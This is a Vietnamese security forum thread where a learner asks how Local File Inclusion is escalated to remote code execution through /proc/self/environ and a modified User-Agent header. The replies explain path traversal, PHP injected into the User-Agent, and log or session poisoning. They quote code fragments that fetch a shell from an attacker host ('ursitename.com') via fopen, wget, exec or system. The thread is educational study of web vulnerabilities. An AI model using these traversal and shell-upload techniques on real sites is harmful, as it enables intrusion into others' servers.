Local File Inclusion
Chào m,n. Em có đang tìm hiểu về lỗ hổng LFI và cách khai thác tuy nhiên có một điểm chưa rõ.
Trong đó LFI có phần khai thác thông qua /proc/self/environ.
Cụ thể chi tiết được viết trong bài viết này trangweb.
Tuy nhiên đến phần sửa đổi User Agent để up load file lên site dính lỗi thì em chưa hiểu lắm , em có thử làm theo nhưng không có up được file lên trang web dính lỗi. M,n có thể giải thích cho em một số điểm : Vì sao khi thay đổi User Agent thì nó có thể up và thực thi cái file đó lên site, tại sao file phải đặt dạng txt mà không phải PHP từ đầu.
Cảm ơn m.n
2 CÂU TRẢ LỜI
Mình giải thích sơ sơ thế này mong là đúng ý bạn cần :v
- Khi trang web tồn tại lỗ hổng LFI thì mình có thể "include" được 1 file trên hệ thống vào trang hiện tại. VD như khi truyền ../../../../../etc/passwd thì server sẽ "include" nội dung file /etc/passwd vào trang hiện tại, từ đó chúng ta đọc được nội dung file. Việc cần bao nhiêu ký tự "../" tùy thuộc vào cách server xử lý và vị trí đường dẫn chứa source code web nhé.
- Với server chạy php, chỉ cần đọc file php là code sẽ được thực thi. Vd như ở trang /index.php thì code trong file này sẽ được thực thi => khi khai thác lỗ hổng LFI, ta truyền vào đường dẫn của shell code php (mà bằng cách nào đó, chúng ta đã upload được lên server) thì sẽ gây ra RCE (Remode Code Execution).
- Trong bài viết mà bạn đọc, bên cạnh lỗ hổng LFI ra, thì còn có một lỗ hổng nữa kết hợp với LFI cũng dẫn tới RCE: khi đọc file /proc/self/environ thì server sẽ thực thi đoạn code php được truyền trong header User-Agent.
- Trong bài viết bạn đọc, người viết demo thêm việc upload shell lên server thông qua việc khai thác lỗ hổng như mình đề cập ở ý 3. Đoạn code
<?php $file = fopen("urshellname.php","w+") .....
được ghi trong header User-Agent thực ra là chạy 3 cách khác nhau để upload được shell code php lên server:
- Cách 1: Tạo file shell.txt chứa shell code php trên server của attacker (trong bài viết là ursitename.com) => Tại server chứa lỗ hổng, đọc file shell.txt trên server của attacker => Ghi nội dung file này vào shell.php được tạo trên server của victim (việc tạo file trên server của victim thực hiện qua dòng code
$file = fopen("urshellname.php","w+")
) => có shell trên server của victim. - Cách 2: Chạy hàm exec() trong php để thực thi lệnh hệ thống. Lệnh được thực thi là lệnh
wget
để tải file shell.txt có trên server của attacker và lưu dưới dạng file php. - Cách 3: Tương tự cách 2, nhưng chạy hàm system(). Hàm này cũng thực thi lệnh hệ thống như hàm exec().
Thực hiện tận 3 cách trên để tăng tỉ lệ ghi được shell php lên server của victim.
- Ngay từ đầu thì shell.txt đã nằm trên server của attacker, chứ không nằm trên server của victim. Khi lưu về server của victim thì mới được đổi thành đuôi php.
- Về việc tại sao khi đặt trên server của attacker thì phải để đuôi file là txt thì mình nghĩ có 2 lí do:
- Để cách 1 hoạt động. Nếu không đặt file txt thì có thể dòng code
$stream = fopen("http://ursitename.com/urshellname.txt", "r")
sẽ không đọc được file. - Server của victim có thể log lại được các request bằng method GET, trong đó có log lại được User-Agent. Nếu attacker để sẵn file php trên server của mình, và server của attacker cũng chạy php chẳng hạn. Thì victim có thể vào đánh trả bằng cách chạy thẳng con shell đó trên server của attacker. Như thế thì attacker đi đấm nhau nhưng tình cờ tự vác đá đập vào chân mình rồi :v
Thực ra mình thấy bài viết bạn đọc chưa rõ ràng lắm, bạn có thể đọc phiên bản khác giải thích chính xác hơn ở: https://www.exploit-db.com/papers/12886
Vâng , em cảm ơn anh nhiều ạ
Ở đây chắc là bạn muốn khai thác từ LFI lên RCE với webapp chạy PHP.
Việc đầu tiên biết được webapp đó dính lỗi LFI thì như
bạn @tranminhnhat đã chia sẻ rồi, mình sẽ đi sâu vào vấn đề khai thác từ LFI lên RCE giúp bạn.
Để từ LFI lên RCE với webapp chạy PHP cần phải thoả mãn 2 điều:
- Webapp có chức năng bị lỗi LFI (đã có rồi)
- Biến, file,... mình có thể control được (ví dụ bên trên kia là mình có thể control được User-Agent)
Vậy thì tại sao lại là User-Agent
Do chúng ta có thể include được file /proc/self/environ
vào và đọc chúng, chúng ta có thể thấy được biến môi trường HTTP_USER_AGENT
thay đổi giống với giá trị của User-Agent mình truyền vào thông qua HTTP Request, vậy thì chúng ta chỉ cần chỉnh sửa User-Agent thành code PHP để thực thi (Do PHP include file vào và thực thi như file PHP bình thường nên có thể excute code PHP). Bài viết bạn đọc không chỉ rõ ràng chỗ này nên bạn mới cảm thấy không hiểu lắm.
Nâng cao hơn thì nếu chúng ta không đọc được /proc/self/environ
thì sao, hoặc trong đó không có biến HTTP_USER_AGENT
hay đại loại biến mà mình không control được thì sao. Chúng ta có thể recon xem có thể đọc được file log của webapp/reverse proxy (apache/nginx...) hay không, vì file log có dạng
103.203.57.25 - - [01/Mar/2022:17:57:11 +0700] "GET / HTTP/1.1" 200 303 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
cũng chứa User-Agent mình có thể control được
Hoặc lợi dụng một vài biến SESSION trong PHP cũng được, bạn có thể đọc thêm trong bài viết này https://xen0vas.github.io/Exploiting-the-LFI-vulnerability-using-the-proc-self-stat-method/
Còn cũng có thể include file chứa code PHP để RCE nữa, giống như @tranminhnhat đã comment.
Hi vọng sẽ giúp được bạn. See you